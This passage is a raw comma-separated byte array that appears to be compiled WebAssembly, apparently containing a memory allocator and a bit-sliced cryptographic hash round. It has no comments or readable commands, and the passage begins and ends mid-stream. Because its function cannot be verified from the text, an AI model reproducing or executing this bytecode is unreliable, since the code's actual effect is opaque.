2,12,32,6,32,1,54,2,8,32,6,32,0,54,2,12,12,2,11,2,127,32,5,65,8,118,34,0,4,127,65,31,32,5,65,255,255,255,7,75,13,1,26,32,5,65,14,32,0,32,0,65,128,254,63,106,65,16,118,65,8,113,34,0,116,34,1,65,128,224,31,106,65,16,118,65,4,113,34,2,32,0,114,32,1,32,2,116,34,0,65,128,128,15,106,65,16,118,65,2,113,34,1,114,107,32,0,32,1,116,65,15,118,106,34,0,65,7,106,118,65,1,113,32,0,65,1,116,114,5,65,0,11,11,34,1,65,2,116,65,184,206,0,106,33,0,32,6,32,1,54,2,28,32,6,65,16,106,34,2,65,0,54,2,4,32,2,65,0,54,2,0,65,140,204,0,40,2,0,34,2,65,1,32,1,116,34,3,113,69,4,64,65,140,204,0,32,2,32,3,114,54,2,0,32,0,32,6,54,2,0,32,6,32,0,54,2,24,32,6,32,6,54,2,12,32,6,32,6,54,2,8,12,2,11,32,0,40,2,0,33,0,65,25,32,1,65,1,118,107,33,2,32,5,32,1,65,31,70,4,127,65,0,5,32,2,11,116,33,1,2,64,3,64,32,0,40,2,4,65,120,113,32,5,70,13,1,32,1,65,1,116,33,2,32,0,65,16,106,32,1,65,31,118,65,2,116,106,34,1,40,2,0,34,3,4,64,32,2,33,1,32,3,33,0,12,1,11,11,32,1,32,6,54,2,0,32,6,32,0,54,2,24,32,6,32,6,54,2,12,32,6,32,6,54,2,8,12,2,11,32,0,65,8,106,34,1,40,2,0,34,2,32,6,54,2,12,32,1,32,6,54,2,0,32,6,32,2,54,2,8,32,6,32,0,54,2,12,32,6,65,0,54,2,24,11,11,32,10,36,4,32,8,65,8,106,15,11,11,3,64,2,64,32,3,40,2,0,34,5,32,4,77,4,64,32,5,32,3,40,2,4,106,34,8,32,4,75,13,1,11,32,3,40,2,8,33,3,12,1,11,11,65,0,32,8,65,81,106,34,3,65,8,106,34,5,107,65,7,113,33,7,32,3,32,5,65,7,113,4,127,32,7,5,65,0,11,106,34,3,32,4,65,16,106,34,12,73,4,127,32,4,34,3,5,32,3,11,65,8,106,33,6,32,3,65,24,106,33,5,32,2,65,88,106,33,9,65,0,32,1,65,8,106,34,11,107,65,7,113,33,7,65,160,204,0,32,1,32,11,65,7,113,4,127,32,7,5,65,0,34,7,11,106,34,11,54,2,0,65,148,204,0,32,9,32,7,107,34,7,54,2,0,32,11,32,7,65,1,114,54,2,4,32,1,32,9,106,65,40,54,2,4,65,164,204,0,65,240,207,0,40,2,0,54,2,0,32,3,65,4,106,34,7,65,27,54,2,0,32,6,65,200,207,0,41,2,0,55,2,0,32,6,65,208,207,0,41,2,0,55,2,8,65,200,207,0,32,1,54,2,0,65,204,207,0,32,2,54,2,0,65,212,207,0,65,0,54,2,0,65,208,207,0,32,6,54,2,0,32,5,33,1,3,64,32,1,65,4,106,34,2,65,7,54,2,0,32,1,65,8,106,32,8,73,4,64,32,2,33,1,12,1,11,11,32,3,32,4,71,4,64,32,7,32,7,40,2,0,65,126,113,54,2,0,32,4,32,3,32,4,107,34,7,65,1,114,54,2,4,32,3,32,7,54,2,0,32,7,65,3,118,33,2,32,7,65,128,2,73,4,64,32,2,65,3,116,65,176,204,0,106,33,1,65,136,204,0,40,2,0,34,3,65,1,32,2,116,34,2,113,4,127,32,1,65,8,106,34,3,40,2,0,5,65,136,204,0,32,3,32,2,114,54,2,0,32,1,65,8,106,33,3,32,1,11,33,2,32,3,32,4,54,2,0,32,2,32,4,54,2,12,32,4,32,2,54,2,8,32,4,32,1,54,2,12,12,3,11,32,7,65,8,118,34,1,4,127,32,7,65,255,255,255,7,75,4,127,65,31,5,32,7,65,14,32,1,32,1,65,128,254,63,106,65,16,118,65,8,113,34,1,116,34,2,65,128,224,31,106,65,16,118,65,4,113,34,3,32,1,114,32,2,32,3,116,34,1,65,128,128,15,106,65,16,118,65,2,113,34,2,114,107,32,1,32,2,116,65,15,118,106,34,1,65,7,106,118,65,1,113,32,1,65,1,116,114,11,5,65,0,11,34,2,65,2,116,65,184,206,0,106,33,1,32,4,32,2,54,2,28,32,4,65,0,54,2,20,32,12,65,0,54,2,0,65,140,204,0,40,2,0,34,3,65,1,32,2,116,34,5,113,69,4,64,65,140,204,0,32,3,32,5,114,54,2,0,32,1,32,4,54,2,0,32,4,32,1,54,2,24,32,4,32,4,54,2,12,32,4,32,4,54,2,8,12,3,11,32,1,40,2,0,33,1,65,25,32,2,65,1,118,107,33,3,32,7,32,2,65,31,70,4,127,65,0,5,32,3,11,116,33,2,2,64,3,64,32,1,40,2,4,65,120,113,32,7,70,13,1,32,2,65,1,116,33,3,32,1,65,16,106,32,2,65,31,118,65,2,116,106,34,2,40,2,0,34,5,4,64,32,3,33,2,32,5,33,1,12,1,11,11,32,2,32,4,54,2,0,32,4,32,1,54,2,24,32,4,32,4,54,2,12,32,4,32,4,54,2,8,12,3,11,32,1,65,8,106,34,2,40,2,0,34,3,32,4,54,2,12,32,2,32,4,54,2,0,32,4,32,3,54,2,8,32,4,32,1,54,2,12,32,4,65,0,54,2,24,11,5,65,152,204,0,40,2,0,34,3,69,32,1,32,3,73,114,4,64,65,152,204,0,32,1,54,2,0,11,65,200,207,0,32,1,54,2,0,65,204,207,0,32,2,54,2,0,65,212,207,0,65,0,54,2,0,65,172,204,0,65,224,207,0,40,2,0,54,2,0,65,168,204,0,65,127,54,2,0,65,188,204,0,65,176,204,0,54,2,0,65,184,204,0,65,176,204,0,54,2,0,65,196,204,0,65,184,204,0,54,2,0,65,192,204,0,65,184,204,0,54,2,0,65,204,204,0,65,192,204,0,54,2,0,65,200,204,0,65,192,204,0,54,2,0,65,212,204,0,65,200,204,0,54,2,0,65,208,204,0,65,200,204,0,54,2,0,65,220,204,0,65,208,204,0,54,2,0,65,216,204,0,65,208,204,0,54,2,0,65,228,204,0,65,216,204,0,54,2,0,65,224,204,0,65,216,204,0,54,2,0,65,236,204,0,65,224,204,0,54,2,0,65,232,204,0,65,224,204,0,54,2,0,65,244,204,0,65,232,204,0,54,2,0,65,240,204,0,65,232,204,0,54,2,0,65,252,204,0,65,240,204,0,54,2,0,65,248,204,0,65,240,204,0,54,2,0,65,132,205,0,65,248,204,0,54,2,0,65,128,205,0,65,248,204,0,54,2,0,65,140,205,0,65,128,205,0,54,2,0,65,136,205,0,65,128,205,0,54,2,0,65,148,205,0,65,136,205,0,54,2,0,65,144,205,0,65,136,205,0,54,2,0,65,156,205,0,65,144,205,0,54,2,0,65,152,205,0,65,144,205,0,54,2,0,65,164,205,0,65,152,205,0,54,2,0,65,160,205,0,65,152,205,0,54,2,0,65,172,205,0,65,160,205,0,54,2,0,65,168,205,0,65,160,205,0,54,2,0,65,180,205,0,65,168,205,0,54,2,0,65,176,205,0,65,168,205,0,54,2,0,65,188,205,0,65,176,205,0,54,2,0,65,184,205,0,65,176,205,0,54,2,0,65,196,205,0,65,184,205,0,54,2,0,65,192,205,0,65,184,205,0,54,2,0,65,204,205,0,65,192,205,0,54,2,0,65,200,205,0,65,192,205,0,54,2,0,65,212,205,0,65,200,205,0,54,2,0,65,208,205,0,65,200,205,0,54,2,0,65,220,205,0,65,208,205,0,54,2,0,65,216,205,0,65,208,205,0,54,2,0,65,228,205,0,65,216,205,0,54,2,0,65,224,205,0,65,216,205,0,54,2,0,65,236,205,0,65,224,205,0,54,2,0,65,232,205,0,65,224,205,0,54,2,0,65,244,205,0,65,232,205,0,54,2,0,65,240,205,0,65,232,205,0,54,2,0,65,252,205,0,65,240,205,0,54,2,0,65,248,205,0,65,240,205,0,54,2,0,65,132,206,0,65,248,205,0,54,2,0,65,128,206,0,65,248,205,0,54,2,0,65,140,206,0,65,128,206,0,54,2,0,65,136,206,0,65,128,206,0,54,2,0,65,148,206,0,65,136,206,0,54,2,0,65,144,206,0,65,136,206,0,54,2,0,65,156,206,0,65,144,206,0,54,2,0,65,152,206,0,65,144,206,0,54,2,0,65,164,206,0,65,152,206,0,54,2,0,65,160,206,0,65,152,206,0,54,2,0,65,172,206,0,65,160,206,0,54,2,0,65,168,206,0,65,160,206,0,54,2,0,65,180,206,0,65,168,206,0,54,2,0,65,176,206,0,65,168,206,0,54,2,0,32,2,65,88,106,33,3,65,0,32,1,65,8,106,34,5,107,65,7,113,33,2,65,160,204,0,32,1,32,5,65,7,113,4,127,32,2,5,65,0,34,2,11,106,34,5,54,2,0,65,148,204,0,32,3,32,2,107,34,2,54,2,0,32,5,32,2,65,1,114,54,2,4,32,1,32,3,106,65,40,54,2,4,65,164,204,0,65,240,207,0,40,2,0,54,2,0,11,11,65,148,204,0,40,2,0,34,1,32,0,77,4,64,32,10,36,4,65,0,15,11,65,148,204,0,32,1,32,0,107,34,2,54,2,0,65,160,204,0,65,160,204,0,40,2,0,34,1,32,0,106,34,3,54,2,0,32,3,32,2,65,1,114,54,2,4,32,1,32,0,65,3,114,54,2,4,32,10,36,4,32,1,65,8,106,11,156,2,1,5,127,65,192,0,32,0,65,56,106,34,6,40,2,0,65,3,117,34,3,107,33,4,32,3,4,64,32,2,66,3,136,66,63,131,32,4,173,90,4,64,32,0,65,192,0,106,32,3,106,32,1,32,4,16,11,26,32,0,65,48,106,34,5,40,2,0,65,128,4,106,33,3,32,5,32,3,54,2,0,32,3,69,4,64,32,0,65,52,106,34,3,32,3,40,2,0,65,1,106,54,2,0,11,32,0,32,0,65,192,0,106,16,26,32,1,32,4,106,33,1,65,0,33,3,32,2,32,4,65,3,116,172,125,33,2,11,5,65,0,33,3,11,32,2,66,255,3,86,4,64,32,0,65,48,106,33,4,32,0,65,52,106,33,5,3,64,32,4,32,4,40,2,0,65,128,4,106,34,7,54,2,0,32,7,69,4,64,32,5,32,5,40,2,0,65,1,106,54,2,0,11,32,0,32,1,16,26,32,1,65,192,0,106,33,1,32,2,66,128,124,124,34,2,66,255,3,86,13,0,11,11,32,2,66,0,81,4,64,32,6,65,0,54,2,0,15,11,32,0,65,192,0,106,32,3,106,32,1,32,2,66,3,136,167,16,11,26,32,6,32,2,32,3,65,3,116,173,124,62,2,0,11,6,0,65,0,16,0,11,200,43,2,24,127,40,126,32,0,65,32,106,34,1,41,3,0,32,0,65,160,1,106,34,9,41,3,0,133,33,28,32,1,32,28,55,3,0,32,0,65,40,106,34,2,41,3,0,32,0,65,168,1,106,34,10,41,3,0,133,33,25,32,2,32,25,55,3,0,32,0,65,48,106,34,3,41,3,0,32,0,65,176,1,106,34,11,41,3,0,133,33,30,32,3,32,30,55,3,0,32,0,65,56,106,34,4,41,3,0,32,0,65,184,1,106,34,12,41,3,0,133,33,32,32,4,32,32,55,3,0,32,0,65,192,0,106,34,5,41,3,0,32,0,65,192,1,106,34,13,41,3,0,133,33,33,32,5,32,33,55,3,0,32,0,65,200,0,106,34,6,41,3,0,32,0,65,200,1,106,34,14,41,3,0,133,33,34,32,6,32,34,55,3,0,32,0,65,208,0,106,34,7,41,3,0,32,0,65,208,1,106,34,15,41,3,0,133,33,26,32,7,32,26,55,3,0,32,0,65,216,0,106,34,8,41,3,0,32,0,65,216,1,106,34,16,41,3,0,133,33,31,32,8,32,31,55,3,0,32,0,65,136,1,106,34,17,41,3,0,33,38,32,0,65,152,1,106,34,18,41,3,0,33,41,32,0,65,232,0,106,34,19,41,3,0,33,27,32,0,65,248,0,106,34,20,41,3,0,33,37,32,0,65,128,1,106,34,21,41,3,0,33,42,32,0,65,144,1,106,34,22,41,3,0,33,39,32,0,65,224,0,106,34,23,41,3,0,33,29,32,0,65,240,0,106,34,24,41,3,0,33,35,3,64,32,60,167,34,0,65,5,116,65,176,63,106,41,0,0,34,43,32,29,66,127,133,131,32,28,133,33,36,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,35,66,127,133,131,32,30,133,34,30,32,26,131,32,28,133,33,45,32,36,32,29,32,42,66,127,133,34,28,131,133,34,40,32,29,131,32,33,133,34,44,32,29,32,33,66,127,133,131,34,47,32,28,133,34,50,132,32,40,133,34,28,32,36,32,33,131,32,43,133,34,52,131,32,44,133,34,53,32,30,32,35,32,39,66,127,133,34,33,131,133,34,36,32,35,131,32,26,133,34,43,32,35,32,26,66,127,133,131,34,26,32,33,133,34,54,132,32,36,133,34,55,133,33,33,32,34,32,25,32,0,65,5,116,65,184,63,106,41,0,0,34,25,32,27,66,127,133,131,133,34,30,131,32,25,133,33,48,32,31,32,32,32,0,65,5,116,65,200,63,106,41,0,0,34,25,32,37,66,127,133,131,133,34,32,131,32,25,133,33,49,32,30,32,27,32,38,66,127,133,34,30,131,133,33,25,32,32,32,37,32,41,66,127,133,34,51,131,133,33,32,32,27,32,34,66,127,133,131,34,56,32,30,133,34,57,32,34,32,25,32,27,131,133,34,46,132,32,25,133,34,30,32,48,131,32,46,133,34,58,32,37,32,31,66,127,133,131,34,59,32,51,133,34,61,32,32,32,37,131,32,31,133,34,51,132,32,32,133,34,62,133,33,34,32,36,32,39,32,26,133,131,32,35,133,34,31,32,45,133,32,28,133,32,40,32,47,32,42,133,131,32,29,133,34,29,32,44,131,32,50,133,34,40,133,34,26,32,53,133,34,35,32,29,32,52,133,34,39,32,43,133,32,55,32,45,131,133,34,29,32,28,133,32,60,66,1,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,36,32,28,32,54,133,32,31,32,43,131,133,34,42,32,39,133,32,33,133,34,31,66,127,133,131,133,34,28,131,32,36,133,33,39,32,29,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,29,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,36,32,33,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,33,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,32,0,65,5,116,65,192,63,106,41,0,0,34,29,32,26,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,26,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,26,66,127,133,131,133,34,44,131,32,29,133,33,45,32,28,32,31,32,33,32,40,133,34,43,66,127,133,34,33,131,133,33,28,32,44,32,26,32,42,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,42,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,47,66,127,133,34,40,131,133,33,29,32,31,32,35,66,127,133,131,34,50,32,33,133,34,52,32,35,32,28,32,31,131,133,34,42,132,32,28,133,34,35,32,39,131,32,42,133,34,53,32,26,32,36,66,127,133,131,34,54,32,40,133,34,55,32,29,32,26,131,32,36,133,34,36,132,32,29,133,34,63,133,33,33,32,30,32,49,133,32,59,32,41,133,32,32,131,32,37,133,34,41,133,32,56,32,38,133,32,25,131,32,27,133,34,25,32,46,131,32,57,133,34,46,133,34,32,32,58,133,34,37,32,25,32,48,133,34,25,32,51,133,32,62,32,49,131,133,34,27,32,30,133,32,0,65,5,116,65,184,63,106,41,0,0,34,40,32,34,32,25,133,32,30,32,61,133,32,41,32,51,131,133,34,38,133,34,25,66,127,133,131,133,34,30,131,32,40,133,33,41,32,27,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,27,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,40,32,34,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,34,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,32,0,65,5,116,65,200,63,106,41,0,0,34,27,32,32,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,32,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,32,66,127,133,131,133,34,48,131,32,27,133,33,44,32,30,32,25,32,34,32,46,133,34,49,66,127,133,34,34,131,133,33,30,32,48,32,32,32,38,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,38,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,48,66,127,133,34,46,131,133,33,27,32,25,32,37,66,127,133,131,34,51,32,34,133,34,56,32,37,32,30,32,25,131,133,34,38,132,32,30,133,34,37,32,41,131,32,38,133,34,57,32,32,32,40,66,127,133,131,34,58,32,46,133,34,46,32,27,32,32,131,32,40,133,34,40,132,32,27,133,34,59,133,33,34,32,35,32,45,133,32,54,32,47,133,32,29,131,32,26,133,34,29,133,32,50,32,43,133,32,28,131,32,31,133,34,31,32,42,131,32,52,133,34,43,133,34,26,32,53,133,34,42,32,31,32,39,133,34,31,32,36,133,32,63,32,45,131,133,34,28,32,35,133,32,60,66,2,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,39,32,33,32,31,133,32,35,32,55,133,32,29,32,36,131,133,34,29,133,34,31,66,127,133,131,133,34,35,131,32,39,133,33,39,32,28,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,28,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,36,32,33,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,33,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,26,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,26,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,26,66,127,133,131,133,34,47,131,32,28,133,33,45,32,35,32,31,32,33,32,43,133,34,43,66,127,133,34,33,131,133,33,28,32,47,32,26,32,29,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,29,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,47,66,127,133,34,50,131,133,33,29,32,31,32,42,66,127,133,131,34,52,32,33,133,34,53,32,42,32,28,32,31,131,133,34,42,132,32,28,133,34,35,32,39,131,32,42,133,34,54,32,26,32,36,66,127,133,131,34,55,32,50,133,34,50,32,29,32,26,131,32,36,133,34,36,132,32,29,133,34,61,133,33,33,32,37,32,44,133,32,58,32,48,133,32,27,131,32,32,133,34,27,133,32,51,32,49,133,32,30,131,32,25,133,34,25,32,38,131,32,56,133,34,48,133,34,32,32,57,133,34,38,32,25,32,41,133,34,25,32,40,133,32,59,32,44,131,133,34,30,32,37,133,32,0,65,5,116,65,184,63,106,41,0,0,34,41,32,34,32,25,133,32,37,32,46,133,32,27,32,40,131,133,34,27,133,34,25,66,127,133,131,133,34,37,131,32,41,133,33,41,32,30,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,30,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,40,32,34,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,34,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,32,0,65,5,116,65,200,63,106,41,0,0,34,30,32,32,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,32,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,32,66,127,133,131,133,34,49,131,32,30,133,33,44,32,37,32,25,32,34,32,48,133,34,48,66,127,133,34,34,131,133,33,30,32,49,32,32,32,27,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,27,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,49,66,127,133,34,46,131,133,33,27,32,25,32,38,66,127,133,131,34,51,32,34,133,34,56,32,38,32,30,32,25,131,133,34,38,132,32,30,133,34,37,32,41,131,32,38,133,34,57,32,32,32,40,66,127,133,131,34,58,32,46,133,34,46,32,27,32,32,131,32,40,133,34,40,132,32,27,133,34,59,133,33,34,32,35,32,45,133,32,55,32,47,133,32,29,131,32,26,133,34,29,133,32,52,32,43,133,32,28,131,32,31,133,34,31,32,42,131,32,53,133,34,43,133,34,26,32,54,133,34,42,32,31,32,39,133,34,31,32,36,133,32,61,32,45,131,133,34,28,32,35,133,32,60,66,3,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,39,32,33,32,31,133,32,35,32,50,133,32,29,32,36,131,133,34,29,133,34,31,66,127,133,131,133,34,35,131,32,39,133,33,39,32,28,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,28,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,36,32,33,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,33,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,26,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,26,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,26,66,127,133,131,133,34,47,131,32,28,133,33,45,32,35,32,31,32,33,32,43,133,34,43,66,127,133,34,33,131,133,33,28,32,47,32,26,32,29,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,29,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,47,66,127,133,34,50,131,133,33,29,32,31,32,42,66,127,133,131,34,52,32,33,133,34,53,32,42,32,28,32,31,131,133,34,42,132,32,28,133,34,35,32,39,131,32,42,133,34,54,32,26,32,36,66,127,133,131,34,55,32,50,133,34,50,32,29,32,26,131,32,36,133,34,36,132,32,29,133,34,61,133,33,33,32,37,32,44,133,32,58,32,49,133,32,27,131,32,32,133,34,27,133,32,51,32,48,133,32,30,131,32,25,133,34,25,32,38,131,32,56,133,34,48,133,34,32,32,57,133,34,38,32,25,32,41,133,34,25,32,40,133,32,59,32,44,131,133,34,30,32,37,133,32,0,65,5,116,65,184,63,106,41,0,0,34,41,32,34,32,25,133,32,37,32,46,133,32,27,32,40,131,133,34,27,133,34,25,66,127,133,131,133,34,37,131,32,41,133,33,41,32,30,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,30,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,40,32,34,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,34,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,32,0,65,5,116,65,200,63,106,41,0,0,34,30,32,32,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,32,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,32,66,127,133,131,133,34,49,131,32,30,133,33,44,32,37,32,25,32,34,32,48,133,34,48,66,127,133,34,34,131,133,33,30,32,49,32,32,32,27,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,27,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,49,66,127,133,34,46,131,133,33,27,32,25,32,38,66,127,133,131,34,51,32,34,133,34,56,32,38,32,30,32,25,131,133,34,38,132,32,30,133,34,37,32,41,131,32,38,133,34,57,32,32,32,40,66,127,133,131,34,58,32,46,133,34,46,32,27,32,32,131,32,40,133,34,40,132,32,27,133,34,59,133,33,34,32,35,32,45,133,32,55,32,47,133,32,29,131,32,26,133,34,29,133,32,52,32,43,133,32,28,131,32,31,133,34,31,32,42,131,32,53,133,34,43,133,34,26,32,54,133,34,42,32,31,32,39,133,34,31,32,36,133,32,61,32,45,131,133,34,28,32,35,133,32,60,66,4,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,39,32,33,32,31,133,32,35,32,50,133,32,29,32,36,131,133,34,29,133,34,31,66,127,133,131,133,34,35,131,32,39,133,33,39,32,28,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,28,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,36,32,33,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,33,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,26,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,26,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,26,66,127,133,131,133,34,47,131,32,28,133,33,45,32,35,32,31,32,33,32,43,133,34,43,66,127,133,34,33,131,133,33,28,32,47,32,26,32,29,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,29,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,47,66,127,133,34,50,131,133,33,29,32,31,32,42,66,127,133,131,34,52,32,33,133,34,53,32,42,32,28,32,31,131,133,34,42,132,32,28,133,34,35,32,39,131,32,42,133,34,54,32,26,32,36,66,127,133,131,34,55,32,50,133,34,50,32,29,32,26,131,32,36,133,34,36,132,32,29,133,34,61,133,33,33,32,37,32,44,133,32,58,32,49,133,32,27,131,32,32,133,34,27,133,32,51,32,48,133,32,30,131,32,25,133,34,25,32,38,131,32,56,133,34,48,133,34,32,32,57,133,34,38,32,25,32,41,133,34,25,32,40,133,32,59,32,44,131,133,34,30,32,37,133,32,0,65,5,116,65,184,63,106,41,0,0,34,41,32,34,32,25,133,32,37,32,46,133,32,27,32,40,131,133,34,27,133,34,25,66,127,133,131,133,34,37,131,32,41,133,33,41,32,30,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,30,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,40,32,34,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,34,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,32,0,65,5,116,65,200,63,106,41,0,0,34,30,32,32,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,32,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,32,66,127,133,131,133,34,49,131,32,30,133,33,44,32,37,32,25,32,34,32,48,133,34,48,66,127,133,34,34,131,133,33,30,32,49,32,32,32,27,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,27,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,49,66,127,133,34,46,131,133,33,27,32,25,32,38,66,127,133,131,34,51,32,34,133,34,56,32,38,32,30,32,25,131,133,34,38,132,32,30,133,34,37,32,41,131,32,38,133,34,57,32,32,32,40,66,127,133,131,34,58,32,46,133,34,46,32,27,32,32,131,32,40,133,34,40,132,32,27,133,34,59,133,33,34,32,35,32,45,133,32,55,32,47,133,32,29,131,32,26,133,34,29,133,32,52,32,43,133,32,28,131,32,31,133,34,31,32,42,131,32,53,133,34,43,133,34,26,32,54,133,34,42,32,31,32,39,133,34,31,32,36,133,32,61,32,45,131,133,34,28,32,35,133,32,60,66,5,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,39,32,33,32,31,133,32,35,32,50,133,32,29,32,36,131,133,34,29,133,34,31,66,127,133,131,133,34,35,131,32,39,133,33,36,32,28,66,16,134,66,128,128,252,255,143,128,64,131,32,28,66,16,136,66,255,255,131,128,240,255,63,131,132,34,39,32,33,66,16,134,66,128,128,252,255,143,128,64,131,32,33,66,16,136,66,255,255,131,128,240,255,63,131,132,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,26,66,16,134,66,128,128,252,255,143,128,64,131,32,26,66,16,136,66,255,255,131,128,240,255,63,131,132,34,26,66,127,133,131,133,34,47,131,32,28,133,33,45,32,35,32,31,32,33,32,43,133,34,50,66,127,133,34,33,131,133,33,28,32,47,32,26,32,29,66,16,134,66,128,128,252,255,143,128,64,131,32,29,66,16,136,66,255,255,131,128,240,255,63,131,132,34,47,66,127,133,34,43,131,133,33,29,32,31,32,42,66,127,133,131,34,52,32,33,133,34,53,32,42,32,28,32,31,131,133,34,42,132,32,28,133,34,35,32,36,131,32,42,133,34,54,32,26,32,39,66,127,133,131,34,55,32,43,133,34,61,32,29,32,26,131,32,39,133,34,43,132,32,29,133,34,62,133,33,33,32,37,32,44,133,32,58,32,49,133,32,27,131,32,32,133,34,27,133,32,51,32,48,133,32,30,131,32,25,133,34,25,32,38,131,32,56,133,34,38,133,34,32,32,57,133,34,39,32,25,32,41,133,34,25,32,40,133,32,59,32,44,131,133,34,30,32,37,133,32,0,65,5,116,65,184,63,106,41,0,0,34,41,32,34,32,25,133,32,37,32,46,133,32,27,32,40,131,133,34,37,133,34,25,66,127,133,131,133,34,27,131,32,41,133,33,40,32,30,66,16,134,66,128,128,252,255,143,128,64,131,32,30,66,16,136,66,255,255,131,128,240,255,63,131,132,34,41,32,34,66,16,134,66,128,128,252,255,143,128,64,131,32,34,66,16,136,66,255,255,131,128,240,255,63,131,132,32,0,65,5,116,65,200,63,106,41,0,0,34,44,32,32,66,16,134,66,128,128,252,255,143,128,64,131,32,32,66,16,136,66,255,255,131,128,240,255,63,131,132,34,30,66,127,133,131,133,34,32,131,32,44,133,33,44,32,27,32,25,32,34,32,38,133,34,46,66,127,133,34,34,131,133,33,27,32,32,32,30,32,37,66,16,134,66,128,128,252,255,143,128,64,131,32,37,66,16,136,66,255,255,131,128,240,255,63,131,132,34,51,66,127,133,34,32,131,133,33,38,32,25,32,39,66,127,133,131,34,56,32,34,133,34,57,32,39,32,27,32,25,131,133,34,48,132,32,27,133,34,39,32,40,131,32,48,133,34,58,32,30,32,41,66,127,133,131,34,59,32,32,133,34,63,32,38,32,30,131,32,41,133,34,49,132,32,38,133,34,64,133,33,34,32,35,32,45,133,32,55,32,47,133,32,29,131,32,26,133,34,37,133,32,52,32,50,133,32,28,131,32,31,133,34,31,32,42,131,32,53,133,34,29,133,34,26,32,54,133,34,32,32,31,32,36,133,34,31,32,43,133,32,62,32,45,131,133,34,28,32,35,133,32,60,66,6,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,41,32,33,32,31,133,32,35,32,61,133,32,37,32,43,131,133,34,37,133,34,31,66,127,133,131,133,34,36,131,32,41,133,33,35,32,28,66,32,134,32,28,66,32,136,132,34,41,32,33,66,32,134,32,33,66,32,136,132,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,26,66,32,134,32,26,66,32,136,132,34,26,66,127,133,131,133,34,45,131,32,28,133,33,42,32,36,32,31,32,33,32,29,133,34,36,66,127,133,34,29,131,133,33,33,32,45,32,26,32,37,66,32,134,32,37,66,32,136,132,34,45,66,127,133,34,43,131,133,33,28,32,31,32,32,66,127,133,131,34,47,32,29,133,34,50,32,32,32,33,32,31,131,133,34,37,132,32,33,133,34,29,32,35,131,32,37,133,34,52,32,26,32,41,66,127,133,131,34,53,32,43,133,34,43,32,28,32,26,131,32,41,133,34,41,132,32,28,133,34,54,133,33,32,32,29,32,42,133,32,53,32,45,133,32,28,131,32,26,133,34,26,133,32,47,32,36,133,32,33,131,32,31,133,34,31,32,37,131,32,50,133,34,36,133,33,37,32,31,32,35,133,34,35,32,41,133,32,54,32,42,131,133,34,31,32,29,133,33,28,32,